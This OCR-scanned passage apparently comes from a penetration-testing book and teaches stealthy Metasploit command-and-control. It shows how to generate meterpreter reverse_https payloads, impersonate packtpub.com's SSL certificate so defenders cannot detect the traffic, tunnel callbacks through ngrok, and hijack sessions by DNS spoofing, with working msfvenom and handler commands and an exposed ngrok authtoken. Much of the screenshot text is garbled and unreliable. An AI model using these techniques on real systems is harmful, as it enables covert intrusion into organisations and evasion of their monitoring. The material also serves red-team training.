g ol el Lergh :
/ TP GG SE508 -« BA4B [SVN] Seqe WineBIS) Len VS5 400 USc4 SACH PR
il 0 G 5 90, S L 159 54
e it H [I] L dekeL WineG5700 Lenel
Canetion Fie b0 [ Umd n Updite] B3 + SOSC3 [A0K) Secel kel Uine26LL4 Lened
(GRS SJ-H[S AOH) Sete] Acke]. Hin=G5700 Len=20
Pt (ol TP GO B3+ SR [ACH] S ckeL0n bin<DGAL6 Lenel
Dl 100 130 43 - SEBEH P, ACK) Sevel AckeLd LineDGL14 Lenel078
: oo TU T SESOR - BB [PSH, K] Sencl00 AckeD0T7 MineGagld Len-306
Feload La g~ el 0 0 50 O] ST el e
ol p TG LIS B3 = GOOCH [RSH, ACK] Senel0T7 Acke4lo Hin=L6L14 L=
(CO U R [H[I] el HC| 1136 Hin=64564 Lenel
i ' G - 55 [P 1] ST A e L
. [ B8 [10P Dug 01 L65% W3l Len=0 SLE=L77 SRE=113%
bpetbfomiton
0 5 - 54 [P, ﬁ(]Sq aﬁcl 135 e84 LeeL9
16 OLIGELH T G SOATR [ACH] SeqeL136 AckeG23 WineDE1900 Lened
16 190.168.2.30 109 L6LA 43 - SOBE3 [RCH] Seq=L136 AckeG23 WineDGLl Len: 40
16 LI T L5L4 B3 - GESCH (AN SeneD5% AckeGl3 MineLELL Len-L46d
13 190.166.2.6 00 S5O0 - B3 [AOH] Senebl AckediBt HinetSTO0 Lened
16 1916030 TP 1504 B3 = SESCH ] Seq=A056 ck-GL3 Min=D601AA Leneldd
16 190.168.2.30 109 L5LA a3 - SOBCH [ACH] SeqeS16 AckeGL3 WineDGLld Lene 0
16 19.166.0.30 TP 1504 B4R = SESCH K] Seq=BE76 k618 Min-D621AA LeneLd
13 19).166.2.6 100 S50+ 43 [ACH] Seneb03 AckeBAat ineCST00 Lened
16 19.166.0.30 TP 1504 B4R = SESCH [ACH] Seq=B436 k618 Mn-L600AA LeneLd
1.6 190,166,230 0P 1504 43 = SEBCH [ACH] Seq=3098 AckeG23 WineDGL1 Lenc1dd
13 190.166.2.6 0 SASHS08 - GA43 [ACH] SeqeBL8 AckeL1386 Uin-25700 Lened r
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The Decode-As... display window will then open. We need to add the SSL option so
that the packets displayed by Wireshark can be decoded into SSL packets. Clicking on
the + sign will help us with this further:
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;d "IntelIR) PRO/L000 MT Desktop Adapter Local Area Connection

BiG

882632735 Q0RE

‘n ‘tcp.port == 443

X

EIEIR

Expresson.. 4

o, Time

- 1636 12, 15978
1637 12, 163121
1638 12, 163154
1639 12, 165018
1640 12, 166535
1642 12,169129
1643 12,169129
1645 12, 169773
1646 12, 171684
1647 12, 17409
1659 12, 376726
1664 12,536170
1665 12,536192
73 W, 43057
2174 14, 15789
277 24,576374
2178 4.576375
2179 24,576425
2160 24,577605
2181 24.577615
2182 24.577615
2183 14.577639
2184 4,577
2185 24.577734
2186 24.577739

Saurce
192,168,230
192, 168.2.6
192, 168.2,30
192, 168.2.6
192,168.2,30
192, 168.2.6
192, 168.2.6
192,168,230
192, 168.2.6
192, 168.2.6
192,168.2.30

192,165,2.30
192,168, 2.6
192,165.2.6
192,165.2.6
192,165,2.30
192,165.2.6
192,165.2.6
192,165.2.6
192, 168,2.30
192,165.2.6
192,165.2.6
192,168,2.30

Destngtion Protocel  Length [nfo

192,168, 2.6 TCP 66 58393 - B443 [SVI) Seq=0 Hin=8192 Len=@ VSS=1450 HS=4 SACK PER:
192.168.2,30 TP 66 843 - 5598 [V, A[K] Seq=0 Ack=1 Uin=65535 Len=0 "S1460 S=32 SACK PER:]
190, 168.2.6 L4 54 58503 - G443 [ACK] Seqcl Ackel Win=65700 Len=0

i £ Wrshark-Decode ., @
J'g | 1.

i Fied Value Type Default Clment

19

19

19

19

19
19
19

/ Frame 1636: 65 bytes on wire (528 bits), 66
J Ethernet 11, Sre: PesCampu 2d:4d:20 (08:00:
' Internet Protocal Version 4, Src: 192,168,
4 Transmission Cantral Protocal, Src Part: 58
Source Part: 53593
Destination Part: 843
[Strean index: 1]
[TCP Seanent Len: 4]
Sequence nuber: 4
Acknonledgnent nunber:

48

[ of l‘ Saie ‘ ‘ Cancel “ Help ‘

i

(relative sequence nnber)

ann
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A new field will be added on the display windows. Let's select the Field as TCP port,
the Value as 8443, the Type as Integer, Base 10, the Default as (none) and the Current
field as SSL:
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(e PROVOND T Do Adte ocel e Comecio

B

Eipessin,. +

146 DREGe22Ti5E004T
| gt ==t =k
b Tme Suure Dt Potocol Length o
- 1636 12 15%78  190.168.2.30 192.166.2.6 (P (5 56593 = 443 [SVI) Seq=0 Uin=A19 Len=0 VS5=1460 =4 ShCK PER=1

1637 12,1631 19!.1'55..2.5 190, 165.2,30 TP (5 5443 + SE593 [SVI, AOK] Seq=0 hcke1 Hin-G3535 Len=q ¥SS-1460 532 Sull PERV=]

163 12,1631 190.166.2.30 192.168.2.6 0P 54 5503 + 8443 [ACH] Seq=1 Ack=1 Win=65700 Len=0

1639 12, 165008 192.168.2.6 19" 4

Wireshark  Decodz 4., ?

1640 12,166535 192,165,230 19 d @

1682 12169129 190.168.2.6 19 {.

AR il Fild Viue ~ Type Oefault Coment

1643 12,169129  192.166.2.6 19 :

190.165.2.30 1] (TCP ot v U v nteger base 00 fnone) |5 Y

1646 12, 17068 190,168.2.6 1

192, 166.2.6 1

1647 12, 174050

L
L
L
L
1645 12,1697
L
di
!

NARMT8 190.168.2.6 i
7T R Sedd 1916806 1
N W56dh 1916806 1
N WL 19.168.2.30 19

2150 24577605
Bl 4.577615
282 14.577615
18 W.577639

192.168.2.6 1
192.168.2.6 1
192, 168.2.6 i
192,168,230 1

HAWSTTH 1016826 1
B WSTTH 1916826 1
1862457739 192.166.2.30 1

) Frane 1636: 66 bytes on wire (528 bits), 66
) Ethernet I1, Src: PesCompu 2d:40:¢0 (06:00:

' Internet Protacal Version 4, Src 192,163,
4 Transmission Contral Protocal, Src Part; 58
Saurce Part: 58593
Destination Port: 8443

[Stream index: 1]

ol

[ i H e H Canee H Hep ‘
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After clicking OK, we will see that the network packets have been decoded into SSL:
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d ") PROAO0D VT st Adete Locl A Comechin

i Edt View o Ciphre Analze

St Teleplwn*f Wielss Took Hel

oo

100 | BRE Qes2TISE00RT

[t =43 d " Epesson., 4
o Te S Deiein Pl Lench Iy :
106 111097 19.168.2.0 190.168.2.6 TP G659 - 43 [SVI] Senel WineBLED Len=0) »SS=1400 WSed ShCK PERV:]
IR LS 191.165.2.30 TP GG B8 = SESCH SV, ACK] Senel Ackel neGRE35 Lened ¥SS=LAG0 HS=30 S PERY:]

1036 10.1630%4  190.168.2.30 190.165.2.6 [ [\] 1 AckeL Hn=G5700 Lene{

19 1116005 190,166,206 191.166.2.30 [ [ Winda Update] 843 = SESOR [MOK] St Ackel bineDGLL44 Lencl

10 10.1665%5  190.168.2.30 190.165.2.6 ol 15 Client fello

I 11169109 19016606 191.166.2.30 TP G0 B8 = SESCH [ACH] Seel AckeL0d Wine260006 Len-0

1643 116809 192.168.1.6 L6030 LS\l 1030 Server Hello, Certificate, Server fello Dove

1006973 1068000 L9LIGRLS TS0 360 Client fey Exchange, |1ang ioher Spec, Encrypted Handshike Vessage

1646 1070684 192.168.2.6 190, 166.2.30 TP GO - SOAOB [ACH] SenL0T7 Aeke26 WineD679) Lened

7 100700 190.168.0.6 L1623 TLSL L3 Change Cigher Spec, Ener pted Handshiahe Vessage

169 1137676 190,166,230 190, 166..8 TP SASES09 « B3 [ACH] Seqed26 AckeL136 Wn-BUSEd Lened

LIS 1MAE LMD TS LLB [TOP Sporious Retransission] , Change Cipher Spec, Encrypted Handshote *

1666 1253690 190.166.0.% 100, 166.2.8 [ G [TU0 Dup K 165G8L] SE5OR - G043 [RCH] Seqehl6 k1136 Win-BU564 Lene ..I..LE-L....'.PE=llEr':1
WA T 190680, 190.165.2.6 150 81 hlicetion it

A MM 1916606 191.166.2.30 TP G0 B8 = SESCH [ACH] Sege 1036 hck-613 Hin-L6LC20 Lenel

07T WST6A 190.063.0.6 191.165.2.30 L5 1514 dlicetion it

W7 3% 1916806 191.166.2.30 TP 15H4 [T0P segnent of & reassenled PO

UM UTHL 1916030 191, 166.1.6 0 S - 3 [A] Sege Hd =456 Hin={5700 Lened

N U576 19.168.2.6 191.168.2.30 TP 1M T0P segment of & reasseled PO

Jal W57 19.168.2.6 190,166.2.30 100 LS4 0P sement of & reassenbled POU]

N8 W57 19.068.2.6 191.165.2.30 TP 15 T0P segment o areassemhldPDU]

N8 W5 19168030 190, 166.2.8 0 S0« 3 ] Sege HCk BL36 HineG5700 Lenel

NA ST 1906806 190.165.2.30 TP LS4 0P sement of & reassenbled PIU]

U USTT4 19 168.0.6 L1623 TP LW ICP sement of  reassenbled POU]

N6 U570 19,168,030 190.165.2.6 TP 4S50 - 43 [ACH] Senebl3 AckeD 1356 Wine(5700 Lened \
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Now that we have decoded the SSL packets, let's search for the server me110 packet:

o Tie il Detrei ool Lngh o
166 101597 190.166.2. 0 190.166.2.6 TP GG SE5O8 - B3 [SVI] Seq WinefLSD Lenel YSS=1400 NS=4 SACK PER]
167 1.16811  192.166.2.6 192, 166.2.30 TP 3+ ESCH [V, ACK] Seq=D Acke] Win-GES35 Lened "S5eldB0 BS:32 SACK PERV:]
RGBS 19080 190.166.2.6 I B3 [A0H) Sene] Acke] Hine5700 Len0
1639 10165008 192.166.2.6 190.166.2.30 1F &J@[ binca Update] 43 + SESOB [ACH] Sewel Ackel bine2Gl14d Len-d
10 10.1665%  190.166.2. 0 190.166.2.6 TSl 153 Client Hello
(1 A P b 192, 166.2.30 TP G0 BA3 - SESOB [ACH] St AckeL00 Bin=D6D0L6 Lev=0
LB L6 1906606 190,166,130 TS0 1030 Server HlloJ (ertificate, Server fello Done
SR WAL 1L %0 360 Client ey Exchange, |1ang Soher Spec, Encrypted Randshle Vessage
16 1117168 190.160.2.6 190,166,230 TP G0 + OSSR [ACH] SeqeL0T hckedl bine26L70) Lened
7100700 192.168.0.6 OLIGE2A TS 103 Change Clpher Spec, Ener pted Handshiee Vessage
1091137706 19016620 190.168.2.6 TP 55 590 = A3 [RH] Seqebl6 hcheLL26 BineGiSed Lened
L6 1536000 190168 0.6 L1823 TSL L3 {T0P Spurdous Retranamission) , Change Cioher Spec, Encrypted Handehake “essige
EOSHD IR LRG0 G [P Dup A LEOR) E «  [0) See kL3 e L SLELTT L6
U7 57 191680, 190.168.2.6 ISl 5L Application et

Looking into this, we can see that we have just found the default SSL certificate used by
the reverse https paYIOad:
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Fle Edt View Go Captwe Amabze Satistics Telephany Wireless Taols  Help

(040 BREqes2TESERAGE

|ttt == 4

WL o Eesin. +

o,

Time
1638 12, 163154
1639 12, 165018

1644 12, 166533
1642 12,169129

Source

192.168.2,30
192,168.2.6
192.168.2,30
192.168.2.6

Destiation

192,168.2.6
192.168.2.30
192.168.2.6
192.168.2.30

Protocdl  Lenath [nfo 4

TCP 54 58503 - 843 [ACK] Seq=l Ack=1 lin=E5700 Len=0

TP 60 [TCP indow Updste] 8443 = 58593 [ACK] Seq=l Acke1 Uin=262144 Len-0
TLo¢l 153 (Lient Hello

TCP B0 5443 = 53593 [ACK] Seq=1 Ack=120 Hin=262016 Len=0

4 fandshake Protocal: Certificate
Handshake Type: Certificate (11
Length: 979
(ertificstes Length: 976

4 Certificates (976 bytes)
(ertificate Length: 973

b Certificate: 308203c930620001a00302010202090005070deb599f % b, ., (pkes-9-at -amailiddress=inputfistokes, simons. net,1d-at -camanlame=stokes. sinanis. net id-at -

4 7151 Recard Layer: Handshake Protocol: Server Hello Done
Cartert Type: Handshake (22)
Versian: TLS 1.0 (@x@361)
Length: 4
4 fandshake Protacal: Server Hello Done
Handshake Type: Server Hella Dane (14)
Length:

1643 12.169129  192,166.2.6 192, 168.2.30 TS 1130 Server Hello, Certificate, Server Hello Dane
165 12169773 192.168.2.30 192.165.2.6 TSl 380 Client Key Exchange, Change Cipher Spec, Encrypted Randshake Vessage v
Length: 983 s

0694
(8ad
(aba
facd
0000 [
{0ed |
aafa
alon g
alla
a
K] 75
UIEGe (9 71 Qe fe 65 T
al5a 3
/A0 39 35 30

0170 SRR
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Now let's open the handler's URI in the browser, as we can also find this information
there:

@ Certficate Error: Navigation Blocked - Windows Internet Explorer

@O v ‘ﬁ hitps:/192.168. 268443/ v ﬂ\‘ A H P Bing
o Fovortes | 5 ] Suggesed Stes v | Web Sce Gally v
‘@CertificateErmnNavigation Blocked ‘ ‘ ﬁ I RAE @ v Pagev

-
@ There s a problem with his website's securty cerifcate

The security certificate presented by this website was not ssued by a trusted certificate authonty,
The securty certificate presented by this website was issued for  different website’s address,

Security certificate problems may indicate an attempt to fool you or Intercept any data you send to the
SEIVe,

We recommend that you close this webpage and do not continue to this website.
W Clck here to dose tis Wiebpage.

@ Continue to this website (not recommended),

Yy,

) More information

Opening the link would send the client's user-agent and request to the handler, as seen in
the following screenshot:
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hllps"" 8268 bl ]w]uesH o 216823 (U ]squlq} I\mmuesl lo At A Nzt 1040 (comet ey MIE 6
]

i
By odos 0T 6.1 WA, Trudnt. 0 SLCCE MET CLR 200727 MET (LR 3.5, 0285 DT (LR 3.0,3072% edha Coter PC .05 JEFRC, NET

U'E)'

Let's look for the certificate information from the browser certificate menu:
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? bitps/ /192168 268443/ - Windows Itemet Eplorer

0B

. Fawrt ‘ﬁESuggested Stes v EWehSIiceGallerj'

e

[£ works!

Geneal | Detals | Certicaion Path

Mo v m e P Sy Todsv G

!
bﬂ' Certficate Information

This CA Root certificate is not trusted., To enable trust,
install this certificate in the Trusted Root Certfication
Authorities store.

Tssued to: stokes,smoris net

Tssued by: stokes simonisnet

Valid from €/ 12/ 2017 to ¢/ 10/ 225

Issuer Statement ‘

Learm more about cerffcates

&
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As we can see from preceding screenshot, the issuer doesn't exist; it's just a fake
domain. IDS/IPS generally blocks the SSL requests if the issuer is not a valid one or if
the SSL certificate 1s not CA authorized.

So, is there a solution to this problem? Yes, there is! We can use a custom SSL
certificate here.
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reverse_ https with a custom SSL
certificate

This technique can be used in two ways:

e By getting an SSL certificate signed by CA (a genuine SSL certificate)
e By using someone else's SSL certificate (impersonation)

You can purchase a genuine SSL certificate from an authorized seller or you can use
services such as ret's encrypr to get a genuine SSL certificate for free. Otherwise, you
can always impersonate someone else's SSL certificate. Metasploit really can help us
with impersonation. There's a module in Metasploit that can do this for us. Execute the
following command in order to use the impersonation module:

| Use auxiliary/gather/impersonate ssl
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if »
st » Use quet vy quthers Tapersonate_ss|
sf et ary( } > liow options

odile aptions (qus1Liary'gather personate_ss! )
e (urrent Setting Required Description

A0 CH o match spoafed site nane (e.q. *,exaple.con)

A Pblic certificate

ate the new cert should ex 1re (8.0, 06 Moy 2012, YESTERDAY or i)
utput fomat (Accepted: OFR, PRN)

100 the cort w1hy0ur oun (A private ey

shord for private key spectfied 1 RIVAEY (1f applicable)
torget address
o

Orget port (T(P)

(
|
0
)
P

t
l
9
s
;
;

u
T
T

Set up the following options for SSL certificate impersonation:

set ADD CN *.packtpub.com

set EXPIRATION <expiration date in DD MM YYYY format>
set rhost www.packtpub.com

set rport 443
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1sF quet 1oy )y
I5f

isf auri oy J > Sliow options
Modile aptions (et 1ory!guther! tersonate._ss1):
Nane (irrent Setting Required Descroption

i OF t0 netch Spoofed site nare (&.(. *,examle. con)
A Pblic certificete

*ucktpub.con o
I

itput fomt (ACCPp ted: OER, PRI

0 Sign the cert with your own Aprwupkpy

0 Possword for private hey spectied 1 PRIVAEY (1f applicaole)
W pockEu.com yes e target oddress
' s The target port (TCP)

P 1S

i
(AP
hec X0 m Dote the new cort should Pxpn‘ (8.0, 06 oy 2002, YESTERDAY or M)
ity
]
P

isf aneilian(

Let's run the module so that it can impersonate packtpub.com's SSL certificate:
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isF anet 1oy )31

W packtpun, com: 443 - Comnecting o v, pocktpud. com 44

W, packtpu com 43 - Copying certificate: From was, pocktpu com 43
O packtp. con

W, packtpu, o 43 - Aading *.packtpun, com to the end of the certaficate sject

Wi pcktpu com 48 - ALt ermq certificate expury Informetion o 0 Dec 200
W, K. Com:443 - Bequnning export of certificate files
o o443 - et mq 100 il key Crt/pen s for o packtpup, com: 43
i L17 defutt 83,160,169, 231w, packtpud. con 525575 key
i 217 default 83,160,169, 231w, pocktpu con 16, ot
i J17 defoutt 83,160,169, 231w, packtpud. con_T53628 e

¢ v k. com43 - ot UsersHarey nstLoot 20

k
k
k
Wi ack
k
| /
| f

f
| W pockep, com 45 - ke /st Harry st Lot 201008
bl
bl

il

1330
-+ o pckipud,com 43 - .| sers Harry st oot/ 018081923320
At liary module execution completed

y
1sF oLl iony( by

Upon successful execution of this module, three files will be generated: the private key
file (.xey), the certificate (.crt) file, and the public certificate (.pem) file. We need to use
the PEM file to generate our HTTPS payload using the impersonated SSL certificate.
This can be achieved by executing the following command:

|Msfvenom -p windows/memeterpreter/reverse https lhost=192.168.2.6 lport=8443 handlersslcert=<the
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T uny$ fvenm 1< indo meteprete e ks Ihost=19.168 2.6 Lport43 hdlenslcont e Moy oot 01681
L3327 et 83,1660, 230w poctpu con T582E o § ]ewen(ysslcﬂ |ue( 0 SurdPoylods e CustansSL043 e
D plotfom s elec d chuo 10 A6 ot Lot indovs o Ehe oylond
D Ach selected, selecting Anch 80 fro the oylond
D ncoder o badchrs St led, utputting row oyl
Oflood sz 4
il szt of
S0ed . Shedh

ek o

iy
i
|
|
|
i

e Tty

Iyt
i
s e stnSLOMD e

byt
el
hylo
i
Let's set up the handler by executing the following command so that it uses the

impersonated SSL certificate:

Set payload windows/meterpreter/reverse https
Set stagerverifysslcert true
Set handlersslcert <pem file>

ereriysslcert tre

handlﬂsslc U5 Moy P/ o 00SBIS253217 eaut. 85,16, 1651 o pckip, con. 15828, e
msf4 0t/ BOFLS232L et 83,160,620, pockpu o 5308
> W Ot

Jodule ptions esplot i honler):

e (iment Setting Requred Descrptio
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Now let's run the handler:

~ — msfconsole
msf exploit( J = run -j
Exploit running as background job 3.

Started HTTPS reverse handler on https://192.168.2.6:8443
msf exploit( ) =

Upon successful payload execution, the handler will first verify the SSL certificate with
the SHA1 hash, and only after that will it send the second stage:

st it )
st eplitul ol >

Starte TIPS rsers Aunler on s 107 168,264

g 19, Mmmmmwfm 16823 (W rosps) etermeter v vty 5L Centicte it SHAL osh e
(A0 et At

. 119, MMmeprm L3 (O o) Stoqing o8 poylood (0068 Dyt .,

eterreten sesson 1 aene (1921 NHM@WNMM%M4M%@

et
o

.2
bl
1
Ul

IRtemreter »

We can confirm the SSL certificate in Wireshark:
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e Bt View Go Coptre Awale htities Telephony Wieles Tools el

(160 EREQes2TiSER04T

b Tme il Cstivain Probual Length Info

1012 1130074 192,168,230 190.166.2.6 10 4 SHGAL + B3 [ACK] Seqel Acke] HineG3700 Lenel

1003 11305 190.168.2.6 19, 166.2.30 10 6 [P Windon Updite) 8443 - SEGRL [ACK] Seqel Ackel Wine2G2l4 Lened
1014 11363200 192,168,230 19, 166.2.6 TSl 153 Client Hello

1003 113097 190.168.2.6 192, 166.2.30 10 G B3 = SEBAL [ACK] Seqe] Acke100 Win=262016 Len-0

1016 1030510 190.168.2.6 19.166.2.30 T80 695 Server tello, Certificate, Server Hello Dme

TR A N A I U [ WA TSl 252 Client ey Exchange, Change Clpher Spec, Encrypted fandshake Vessage
1008 10307685 190.168.2.6 192, 166.2,30 107 608443+58641[ H] Seq=645 Ack=198 Uin=26120 Len-0
1009103035 192.168.1.6 L6230 TS 113 Change Clpher Spec, Encrypted andshake Vessage

1000 1134438 190,168,230 192,166.2.6 TS 3% Application Data

1020 11326167 190.168.2.6 19, 166.2.30 10 6 B3 = SAGAL [ACK] SeqeTod Ack=B39 Lin=261792 Len-0

1099 10917683 19.168.2.6 19, 166.2.30 TS 1504 Application Dot

100 11907664 192.168.2.6 19 166.2.30 10 151410 seqnent of & reassentled POU]

HALILATIL 190.168.2.30 190.166.2.6 10 54 SHG4L = G443 [ACK] Seqe39 Ack=3624 Hin=G5700 Len=

1R 11 908%0  192.168.2.6 19, 166.2.30 TP 5L TCP semment of & resssenbled POU]

UG 11908%]  192.168.2.6 19 166.2.30 TP ISI4TCP segment of & resssenbled POU]

UB1L96%L 1901682, 190, 166.2.30 TP 5L [1CP segment of & resssentled POU]

UG 1L98%L 191682, 192, 166.2.30 TP 5L TCP segment of & resssenbled POV

> TUSe] Recard Lajer: Handshake Pratocal: Server Hellg
4 7150 Recond Layer: Handshake Pretacel: Certificate
Cartent Type: Handshake (22)
Version: 1L 10 (00301
Length: 1
4 Handshke Pratocal: (ertificite
Handshake Type: Certificate (11)
Length: 547
(ertificates Length: 54
4 (ertificites |4 bytes)
(ertificate Length: %4l
) Gertificete: 0GL01SSR20IE2a00MALGNDLLMAGEATCR0IOD30RS, . (3d-at-comoame" picktyub, com,d-4t-comonlane" pcktyub, con)
1L Recard Laper: Handshake Protocal: Server Hello Cane
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The SSL certificate used for communication is the impersonated one. We can also verify
the SSL certificate in the browser:

€ (0 ANotSecure | hites192168.26:8443

Not found

The requested URL / was not found on this server.

* packtpub.com
Self-signed root certificate

Expires: Tuesday, 8 December 2020 at 12:00:00 AM India
Standard Time

This certificate has not baen verified by a third party

| f .f'f.l';lﬁwn'i

fad

w

¥ Detalls

Common Name *packtpub.com
Common Name *packtpub.com

Common Name *packtpub.com
Common Name *packtpub.com

Boom! We can now hack any organization using their SSL certificate but with a different
key. This way, they won't be able to decrypt our communication or detect us.
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Now, how can we make this even more stealthy? (I know what you're thinking: There's
another level to this? Damn!)

Did you know meterpreter payloads can also be hijacked by someone else? Let's take a
look at a hijacking scenario in which the payload used is reverse tcp:

1. The attacker backdoor-ed a server with a persistent meterpreter service. However,
for reasons such as gio-IP blocking, the DNS server not working, and so on, the
service 1s not able to connect back to attacker's handler.

2. Let's say we also want to get access to the server but we're unable to.

3. Inthis case, upon sniffing the DNS information from the network, we found that the
server is looking up a weird domain name.

4. We also found that the domain doesn't exist and according to its traits, we think that
it could be a meterpreter stager trying to connect back to the handler.

5. How can we redirect this DNS lookup so that it points to our IP address where we
have already set up our handler for an incoming connection?

6. A DNS spoofing attack is the perfect attack in this scenario. We perform this attack
by hijacking the network DNS so that the server, when looking for the original
malicious domain from the DNS, resolves to our handler IP.

7. It's a piece of cake after this. The handler receives the incoming connection and
sends the stager.

8. The meterpreter session hijack is complete!

How can you prevent someone else from hijacking your session? Through paranoid
mode!

Paranoid mode is a special security feature provided by Metasploit. It's a normal

reverse winnttps payload with a custom SSL certificate that can verify the SSL certificate
using SHA1 and can check the UUID from its payioads.ison file to confirm whether or not
the correct stager has been connected or not, ignoring all other payloads. For more
information on paranoid mode, please refer to the following link: nttps://github.con/rapid

/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

We may face situations where we want the payload to connect back to us but we don't
have a public-facing IP in which our handler can receive an incoming connection (in an
office situation). In those cases, if we can't get access to the router to set up the port-
forwarding option then what can we do?
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Meterpreter over ngrok

According to its website (nttps://ngrok.con/), ngrok 18 @ secure introspectable tunnel to the
localhost. This exposes local servers behind NATs and firewalls to the public internet
over secure tunnels. So, how do we use ngrox?

Let's start by registering to it:


https://ngrok.com/
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®  © /[ ngrok- secure introspectable % \|
, \

L)

&  C | # Secure | https://dashboard.ngrok.com/get-started

Dashboard

Setup & Installation

Status
Reserved
Auth
Team
Admin

Billing

Want more from ngrok?
Upgrade now

@ Download ngrok

ngrok is easy to install. Download a single binary
with zero run-time dependencies.

¥ Download for Mac 0S X

Windows Linux Mac(32-bit) Windows (32-bit)

FreeBSD (32-bit)

@ Connect your account

Running this command will add your account's
authtoken to your ngrok.yml file. This will give
you more features and all open tunnels will be
listed here in the dashboard.

§ ./ngrok authtoken 7CWhmYYRQesFET3VxcfFc

ot §0 50 3

Download Docs  30go73ylpb4f@opaya.com »

@ Unzip to install

On Linux or OSX you can unzip ngrok from a
terminal with the following command. On
Windows, just double click ngrok zip.

§ unzip /path/to/ngrok.zip

Mast peaple keep ngrok in their user folder or
set an alias for easy access.

@ Fireitup

Read the documentation on how to use ngrok.
Try it out by running it from the command line:

§ ./ngrok help

To start a HTTP tunnel on port 80, run this next:

§ ./ngrok http 80

Upon successful registration, you'll get the required Tunnel Authtoken. Let's copy this

token:

Technet24
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|

o j NgF0 - S rospecab e X

all tiolani:
(1 S s dstboad nokeomat bl 8 TAE

f"q"C'K Dashooard  Download  Docs ~ 30goTypbdr@epayqcom

Bl gk Your Tunnel Authtoken

all ICWARQuFESC A DFmogoGonbC  JLGHE

Reserved You ol ek do s e e

Jnarok authtoken TCAmfYRQesFE f3Vectre LubDFmagalsu@CdC

You mustpecyyour autholen o ngok s tat yourcliet e b Ehis ccount ngrok saves ourauthtlen

I~/ narek?nokym o tat you dent ned o rept thi e,

Wankmore from g L
Uace now |PWh|tElISt

You mayestricacess o your public endpoits ith a whitlstf P addrsses. A it i dogs ot malch
iy il wil e dened acess. I hereare o ntris i yourwhitelist e all P v allowed,

Unaadeto Busnessolan o whi access o your tunnel endpoits,
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We downloaded the ngrox package for macOS and, after uncompressing it, we got a
single executable file named ngrox:

00
xXx7ombi3xXx:~ Harry$ 1s -alh ngrok

-rwxr-xr-x@ 1 Harry staff 15M Jul 15 2017 ngrok
x¥XxZombi3xXx:~ Harry$

Let's first use our autn toxen $0 that whenever the tunnel is being created by this
executable file, our autn toxen 1S used. We can do this by executing the following
command:

| ./ngrok authtoken <auth token>

(O | A Harry — -bash — 143x37

xkxZomdi3xkes~ Harry$ . /ngrok authtoken 7CHmYYROeSFEF3VxCFRC_LxkDFmgqGswywk8xC4(
Authtoken saved to confiquration file: /Users/Harry/.ngrok2/ngrok.yml

xkxZombidxk~ Harry$

Let's try to execute ngrox to bring up the help screen:
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thZonbi3eke;» HarryS /ngrok
NAHE
ngrok - tumnel local ports to public URLS and inspect traffic

DESCRIPTION:
ngrok exposes local networked services beninds NATS and firenalls to the
public internet over o secure tumel, Share local websites, build/test
wehhook constmers and self-ost personal services,
Detailed help for each comand 1S avatlble with "nrok help <comand',
Open http://localhost:4040 for ngrok's web interface to tnspect traffic,

EXAHPLES:
ngrok fittp 80 i Secure public URL for port 80 ueh server
ngrok http -subdomain-baz 8980 # port 8080 available ot baz.ngrok.io
ngrok fittp foo, dev:60 # tumnel to host:port instead of localhost
ngrok tep 22 = tunel arbitrary TCP traffic to port 22
ngrok t1s -hostnanefoo.com 443 & TLS traffic for foo.com to port 443
ngrok start oo bar baz 7 start tunnels from the confiquration file

VERSION:
LL4

AITHOR:
inconshreveable - <olandngrok. con

(OHHENDS:

authtoken  sove authtoken to confiquration file

credits  prints author and Licensing infomation

hitp start an HTTP tunnel

start ~ start tumels by nane from the configuration file
tep start o TCP tumnel

tls start 0 TLS tumel

update  update ngrok to the latest version

version — print the version string

help Shoss 0 List of comands or help for one comand
thiZonbi3xkx:~ HarryS
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As we can see from preceding screenshot, ngrox supports TCP, HTTP, and TLS tunnel
(TLS is only for premium users). Let's start the HTTP tunnel using the following
command:

| ./ngrok http 8443

L O

xXx7ombi3xXx:~ Harry$ ./ngrok http 8443

The HTTP tunnel is now up and running on port s4a3:

[ Ao~k L=

(trk{ to gt

et (lans Fre)

L

it Sttes 1

IR

0 SRk 10 -> Loca st
V30Tl gk 10 -> Loca st

Pﬂ

o
s
o
B Iferfue |
)
f

I
i
i

|
I It
I Hys.

(imectios

Let's understand the line forwarding nctp://c55867a0.ngrok. io | 1ocalnost:8443 Via the
following diagram:
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Secure tunnel which connects port 8443/tcp from attackers machine

—_ to ngrok server with domain ¢55867a0.ngrok.io

-

i I E
Attacker machine Ngrok server

This also means that any incoming HTTP connection to csss67.ngvox. 10 Will be forwarded
to the attacker's machine on port s443/tcp.

The web interface for ngrox can be opened on nttp://10cainost:4040/:

f

00 [} ook - et X 8

¢ - C O m00r40dinsecty TR KRR §

N requests to display yet

To get started, make a request o one of your tunnel URLS

v Nitp://Coo6rallngrox.io

+ Pitps.//co5867a0.ngrok.io
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We have the rrost and 1eorr for meterpreter connections. Let's set up the handler to accept
the connections using the following commands:

Set payload windows/meterpreter/reverse http
Set lhost 0.0.0.0

Set lport 8443

Set exitfunc thread

Exploit -j

00 Harry — msfconsole — 143x38
msf explott( ) > set payload windows/meterpreter_reverse_http
payload => windoss/meterpreter_reverse_fttp
msf exploit( ) = set lport 8443
[port => 8443
msf exploit( ) = set lhost 0.0.0.0
lhost => 0.0.0.0
st exploit( ) = set exitfunc thread
exttfunc =» thread
msf exploit( ) = explott -]
Fplott running as background job 0.

Started HTTP reverse handler on http://0.0.0.0:8443

msf exploit( )

Furthermore, let's generate the meterpreter payload that would connect to the ngrox
server. The ngrox server will automatically forward the connection to our handler
listening on port sas3:
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[ A oyt

fAxZondu3xe: Harry msFenom -p windoss/metenpreter_reverse_hity Lhost-co5867ad.ngrok. 1o Lport=B)
hued Payloads/revigrok, exe

Mo platfom vs selected, choostng sF::Hodule: Platfom: indors from the payload

M0 Arch selected, selecting Arcn: 86 from the payload
NmewMWmmMMmmmmmwmm
Payload size: 180825 bytes
Final size of exe file; 256000 bytes
Saved s SharedPayloads/reigrok. exe

Zonbiekr: Horry

Upon successful payload execution, you'll see a meterpreter session pop up:

k10,000 843 hndl1ng et From 27, 00,85 CO0T: gfShf) Unkons et o it A ‘Wzla/5.0 (Hindos
3.0) Gecko/000I0L Fueton 3.0

g 0.0,00:845 hnd g et hw 0.1 (UM ofthdoa) Attohing omhonedtogelss sesson,

) At
omtrsson e (0, m DTN ot MBS 1 0

Let's confirm the session using the sessions command:

o 0§

bl MO 1)
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I explot( ) > Sess10ng

Active sessions

Information — Comnection

! Neterpreter xg6/windoss 127.0.0.0:8443 -5 127.0.0.1:5572 (127.0.8.1)
